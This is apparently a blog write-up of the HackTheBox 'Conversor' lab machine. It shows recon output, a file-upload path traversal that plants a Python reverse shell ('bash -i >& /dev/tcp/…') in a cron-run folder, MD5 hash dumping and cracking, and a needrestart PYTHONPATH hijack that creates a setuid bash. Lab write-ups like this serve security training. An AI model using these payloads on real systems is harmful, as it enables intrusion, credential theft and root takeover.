xsspresso
xsspresso
WriteupsHTB — Conversor
WebMediumLinux

HTB — Conversor

Unit conversion web app vulnerable to server-side formula injection, leading to arbitrary OS command execution.

October 25, 2025HackTheBox
#Formula Injection#SSTI#RCE

nmap

sh
map -sV -sC -p- 10.10.11.92 -oN nmap
Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-10-25 23:13 EDT
Nmap scan report for 10.10.11.92
Host is up (0.056s latency).
Not shown: 65533 closed tcp ports (reset)
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.9p1 Ubuntu 3ubuntu0.13 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   256 01:74:26:39:47:bc:6a:e2:cb:12:8b:71:84:9c:f8:5a (ECDSA)
|_  256 3a:16:90:dc:74:d8:e3:c4:51:36:e2:08:06:26:17:ee (ED25519)
80/tcp open  http    Apache httpd 2.4.52
|_http-title: Did not follow redirect to http://conversor.htb/
|_http-server-header: Apache/2.4.52 (Ubuntu)
Service Info: Host: conversor.htb; OS: Linux; CPE: cpe:/o:linux:linux_kernel
 
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 21.06 seconds
 

feroxbuster

sh
feroxbuster -u http://conversor.htb/                                                                                                                   1
                                                                                                                                                               
 ___  ___  __   __     __      __         __   ___
|__  |__  |__) |__) | /  `    /  \ \_/ | |  \ |__
|    |___ |  \ |  \ | \__,    \__/ / \ | |__/ |___
by Ben "epi" Risher 🤓                 ver: 2.12.0
───────────────────────────┬──────────────────────
 🎯  Target Url            │ http://conversor.htb/
 🚀  Threads               │ 50
 📖  Wordlist              │ /usr/share/seclists/Discovery/Web-Content/raft-medium-directories.txt
 👌  Status Codes          │ All Status Codes!
 💥  Timeout (secs)        │ 7
 🦡  User-Agent            │ feroxbuster/2.12.0
 🔎  Extract Links         │ true
 🏁  HTTP methods          │ [GET]
 🔃  Recursion Depth       │ 4
 🎉  New Version Available │ https://github.com/epi052/feroxbuster/releases/latest
───────────────────────────┴──────────────────────
 🏁  Press [ENTER] to use the Scan Management Menu™
──────────────────────────────────────────────────
404      GET        5l       31w      207c Auto-filtering found 404-like response and created new filter; toggle off with --dont-filter
302      GET        5l       22w      199c http://conversor.htb/logout => http://conversor.htb/login
200      GET       22l       50w      722c http://conversor.htb/login
302      GET        5l       22w      199c http://conversor.htb/ => http://conversor.htb/login
200      GET       21l       50w      726c http://conversor.htb/register
301      GET        9l       28w      319c http://conversor.htb/javascript => http://conversor.htb/javascript/
200      GET      290l      652w     5938c http://conversor.htb/static/style.css
200      GET       81l      214w     2842c http://conversor.htb/about
403      GET        9l       28w      278c Auto-filtering found 404-like response and created new filter; toggle off with --dont-filter
404      GET        9l       31w      275c Auto-filtering found 404-like response and created new filter; toggle off with --dont-filter
200      GET      362l     2080w   178136c http://conversor.htb/static/images/fismathack.png
301      GET        9l       28w      326c http://conversor.htb/javascript/jquery => http://conversor.htb/javascript/jquery/
200      GET     6309l    35740w  3066135c http://conversor.htb/static/images/arturo.png
200      GET    10879l    44396w   288550c http://conversor.htb/javascript/jquery/jquery
405      GET        5l       20w      153c http://conversor.htb/convert
200      GET     8304l    46775w  4058063c http://conversor.htb/static/images/david.png
200      GET    15716l    86534w  7371827c http://conversor.htb/static/source_code.tar.gz
[####################] - 43s    90023/90023   0s      found:14      errors:10074  
[####################] - 43s    30000/30000   700/s   http://conversor.htb/ 
[####################] - 41s    30000/30000   736/s   http://conversor.htb/javascript/ 
[####################] - 41s    30000/30000   731/s   http://conversor.htb/javascript/jquery/ 

source code

sh
tar -xf source_code.tar.gz -C source_code 

app.py

python
from flask import Flask, render_template, request, redirect, url_for, session, send_from_directory
import os, sqlite3, hashlib, uuid
 
app = Flask(__name__)
app.secret_key = 'Changemeplease'
 
BASE_DIR = os.path.dirname(os.path.abspath(__file__))
DB_PATH = '/var/www/conversor.htb/instance/users.db'
UPLOAD_FOLDER = os.path.join(BASE_DIR, 'uploads')
os.makedirs(UPLOAD_FOLDER, exist_ok=True)
 
def init_db():
    os.makedirs(os.path.join(BASE_DIR, 'instance'), exist_ok=True)
    conn = sqlite3.connect(DB_PATH)
    c = conn.cursor()
    c.execute('''CREATE TABLE IF NOT EXISTS users (
        id INTEGER PRIMARY KEY AUTOINCREMENT,
        username TEXT UNIQUE,
        password TEXT
    )''')
    c.execute('''CREATE TABLE IF NOT EXISTS files (
        id TEXT PRIMARY KEY,
        user_id INTEGER,
        filename TEXT,
        FOREIGN KEY(user_id) REFERENCES users(id)
    )''')
    conn.commit()
    conn.close()
 
init_db()
 
def get_db():
    conn = sqlite3.connect(DB_PATH)
    conn.row_factory = sqlite3.Row
    return conn
 
@app.route('/')
def index():
    if 'user_id' not in session:
        return redirect(url_for('login'))
    conn = get_db()
    cur = conn.cursor()
    cur.execute("SELECT * FROM files WHERE user_id=?", (session['user_id'],))
    files = cur.fetchall()
    conn.close()
    return render_template('index.html', files=files)
 
@app.route('/register', methods=['GET','POST'])
def register():
    if request.method == 'POST':
        username = request.form['username']
        password = hashlib.md5(request.form['password'].encode()).hexdigest()
        conn = get_db()
        try:
            conn.execute("INSERT INTO users (username,password) VALUES (?,?)", (username,password))
            conn.commit()
            conn.close()
            return redirect(url_for('login'))
        except sqlite3.IntegrityError:
            conn.close()
            return "Username already exists"
    return render_template('register.html')
@app.route('/logout')
def logout():
    session.clear()
    return redirect(url_for('login'))
 
 
@app.route('/about')
def about():
 return render_template('about.html')
 
@app.route('/login', methods=['GET','POST'])
def login():
    if request.method == 'POST':
        username = request.form['username']
        password = hashlib.md5(request.form['password'].encode()).hexdigest()
        conn = get_db()
        cur = conn.cursor()
        cur.execute("SELECT * FROM users WHERE username=? AND password=?", (username,password))
        user = cur.fetchone()
        conn.close()
        if user:
            session['user_id'] = user['id']
            session['username'] = username
            return redirect(url_for('index'))
        else:
            return "Invalid credentials"
    return render_template('login.html')
 
 
@app.route('/convert', methods=['POST'])
def convert():
    if 'user_id' not in session:
        return redirect(url_for('login'))
    xml_file = request.files['xml_file']
    xslt_file = request.files['xslt_file']
    from lxml import etree
    xml_path = os.path.join(UPLOAD_FOLDER, xml_file.filename)
    xslt_path = os.path.join(UPLOAD_FOLDER, xslt_file.filename)
    xml_file.save(xml_path)
    xslt_file.save(xslt_path)
    try:
        parser = etree.XMLParser(resolve_entities=False, no_network=True, dtd_validation=False, load_dtd=False)
        xml_tree = etree.parse(xml_path, parser)
        xslt_tree = etree.parse(xslt_path)
        transform = etree.XSLT(xslt_tree)
        result_tree = transform(xml_tree)
        result_html = str(result_tree)
        file_id = str(uuid.uuid4())
        filename = f"{file_id}.html"
        html_path = os.path.join(UPLOAD_FOLDER, filename)
        with open(html_path, "w") as f:
            f.write(result_html)
        conn = get_db()
        conn.execute("INSERT INTO files (id,user_id,filename) VALUES (?,?,?)", (file_id, session['user_id'], filename))
        conn.commit()
        conn.close()
        return redirect(url_for('index'))
    except Exception as e:
        return f"Error: {e}"
 
@app.route('/view/<file_id>')
def view_file(file_id):
    if 'user_id' not in session:
        return redirect(url_for('login'))
    conn = get_db()
    cur = conn.cursor()
    cur.execute("SELECT * FROM files WHERE id=? AND user_id=?", (file_id, session['user_id']))
    file = cur.fetchone()
    conn.close()
    if file:
        return send_from_directory(UPLOAD_FOLDER, file['filename'])
    return "File not found"

install.md

code
To deploy Conversor, we can extract the compressed file:

"""
tar -xvf source_code.tar.gz
"""

We install flask:

"""
pip3 install flask
"""

We can run the app.py file:

"""
python3 app.py
"""

You can also run it with Apache using the app.wsgi file.

If you want to run Python scripts (for example, our server deletes all files older than 60 minutes to avoid system overload), you can add the following line to your /etc/crontab.

"""
* * * * * www-data for f in /var/www/conversor.htb/scripts/*.py; do python3 "$f"; done
"""
  • the key it is running a crontab with wilcard everything that is .py extension will run
code
* * * * * www-data for f in /var/www/conversor.htb/scripts/*.py; do python3 "$f"; done

rev shell

  • can use the given sample xslt and a sample xml request then modify in burpsuite
sh
POST /convert HTTP/1.1
Host: conversor.htb
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:140.0) Gecko/20100101 Firefox/140.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Referer: http://conversor.htb/
Content-Type: multipart/form-data; boundary=----geckoformboundarye9afcb417f5fb74356c81ee154e3d5ea
Content-Length: 630
Origin: http://conversor.htb
DNT: 1
Connection: keep-alive
Cookie: session=eyJ1c2VyX2lkIjo2MSwidXNlcm5hbWUiOiJ0ZXN0In0.aP2YUw.VqsHAU55dLNxCt8nwvIPgltONDo
Upgrade-Insecure-Requests: 1
Priority: u=0, i
 
------geckoformboundarye9afcb417f5fb74356c81ee154e3d5ea
Content-Disposition: form-data; name="xml_file"; filename="../scripts/shell.py"
Content-Type: text/xml
 
import os
os.system('bash -c "bash -i >& /dev/tcp/10.10.14.6/80 0>&1"')
 
------geckoformboundarye9afcb417f5fb74356c81ee154e3d5ea
Content-Disposition: form-data; name="xslt_file"; filename="dummy.xslt"
Content-Type: text/plain
 
<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
  <xsl:template match="/"><html><body>ok</body></html></xsl:template>
</xsl:stylesheet>
 
------geckoformboundarye9afcb417f5fb74356c81ee154e3d5ea--
sh
rlwrap nc -lnvp 80                                                                                                                                   130
Listening on 0.0.0.0 80
Connection received on 10.10.11.92 41748
bash: cannot set terminal process group (19131): Inappropriate ioctl for device
bash: no job control in this shell
www-data@conversor:~$ whoami
whoami
www-data

app.py

sh
www-data@conversor:~/conversor.htb$ cat app.py
cat app.py
from flask import Flask, render_template, request, redirect, url_for, session, send_from_directory
import os, sqlite3, hashlib, uuid
 
app = Flask(__name__)
app.secret_key = 'C0nv3rs0rIsthek3y29'

interactive shell

sh
www-data@conversor:~/conversor.htb$ python3 -c 'import pty; pty.spawn("/bin/bash")'	
sh
www-data@conversor:~/conversor.htb/instance$ ls
ls
users.db
sh
www-data@conversor:~/conversor.htb/instance$ sqlite3 users.db
sqlite3 users.db
SQLite version 3.37.2 2022-01-06 13:25:41
Enter ".help" for usage hints.
sh
sqlite> .tables
.tables
files  users
sh
sqlite> select * from users;
select * from users;
1|fismathack|5b5c3ac3...
5|hashghost|a62565c9...
6|fenixia|c0e20654...
7|alfredo|d59e598d...
8|hello|5d41402a...
9|admin|21232f29...
10|user|2e315dca...
11|info|2e315dca...
12|2000|2e315dca...
13|michael|2e315dca...
14|NULL|2e315dca...
15|john|2e315dca...
16|david|2e315dca...
17|robert|2e315dca...
18|chris|2e315dca...
19|mike|2e315dca...
20|dave|2e315dca...
21|richard|2e315dca...
22|123456|2e315dca...
23|thomas|2e315dca...
24|steve|2e315dca...
25|mark|2e315dca...
26|andrew|2e315dca...
27|daniel|2e315dca...
28|george|2e315dca...
29|paul|2e315dca...
30|charlie|2e315dca...
31|dragon|2e315dca...
32|james|2e315dca...
33|qwerty|2e315dca...
34|martin|2e315dca...
35|master|2e315dca...
36|pussy|2e315dca...
37|mail|2e315dca...
38|charles|2e315dca...
39|bill|2e315dca...
40|patrick|2e315dca...
41|1234|2e315dca...
42|peter|2e315dca...
43|shadow|2e315dca...
44|johnny|2e315dca...
45|hunter|2e315dca...
46|carlos|2e315dca...
47|black|2e315dca...
48|jason|2e315dca...
49|tarrant|2e315dca...
50|alex|2e315dca...
51|brian|2e315dca...
52||2e315dca...
53|steven|2e315dca...
54|scott|2e315dca...
55|edward|2e315dca...
56|joseph|2e315dca...
57|12345|2e315dca...
58|matthew|2e315dca...
59|justin|2e315dca...
60|natasha|2e315dca...
61|test|098f6bcd...
 
sh
cut -d'|' -f3 hashes.txt > hashes_formatted.txt
s
hashcat -m 0 hashes_formatted.txt /usr/share/wordlists/rockyou.txt
 
Dictionary cache hit:
* Filename..: /usr/share/wordlists/rockyou.txt
* Passwords.: 14344385
* Bytes.....: 139921507
* Keyspace..: 14344385
 
5d41402a...:hello                    
21232f29...:admin                    
d59e598d...:alfredo123               
5b5c3ac3...:Keepmesafeandwarm 

creds

code
fismathack:Keepmesafeandwarm

user.txt

sh
www-data@conversor:/home$ su fismathack
su fismathack
Password: Keepmesafeandwarm
whoami
fismathack

interactive shell

sh
python3 -c 'import pty; pty.spawn("/bin/bash")'	
sh
fismathack@conversor:~$ cat user.txt
cat user.txt
a410054a...

priv esc

needrestart

  • https://medium.com/@allypetitt/rediscovering-cve-2024-48990-and-crafting-my-own-exploit-ce13829f5e80
sh
fismathack@conversor:~$ sudo -l
sudo -l
Matching Defaults entries for fismathack on conversor:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin,
    use_pty
 
User fismathack may run the following commands on conversor:
    (ALL : ALL) NOPASSWD: /usr/sbin/needrestart
sh
cd /tmp
mkdir -p needrestart/importlib
sh
fismathack@conversor:/tmp/needrestart/importlib$ cat __init__.py 
import os
os.system('cp /usr/bin/bash /tmp && chmod u+s /tmp/bash')
  • create an infinite loop
sh
fismathack@conversor:/tmp$ cat main.py 
while True:
	pass

`

sh
export PYTHONPATH=/tmp/needrestart
python3 /tmp/main.py
sh
fismathack@conversor:/tmp/needrestart/importlib$ sudo /usr/sbin/needrestart

root.txt

sh
bash-5.1# cat root.txt 
fa37c60a...